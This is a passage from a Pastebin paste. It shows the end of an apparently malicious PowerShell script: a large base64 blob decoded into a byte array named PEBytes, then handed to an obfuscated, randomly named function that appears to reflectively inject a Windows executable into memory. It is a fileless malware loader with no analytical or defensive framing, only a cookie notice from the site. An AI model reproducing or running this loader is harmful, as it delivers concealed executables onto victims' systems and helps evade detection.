AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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"
  2761. [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
  2762. Invoke-RBHFGMAFDHVSUGT -PEBytes $PEBytes
  2763.  
  2764. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top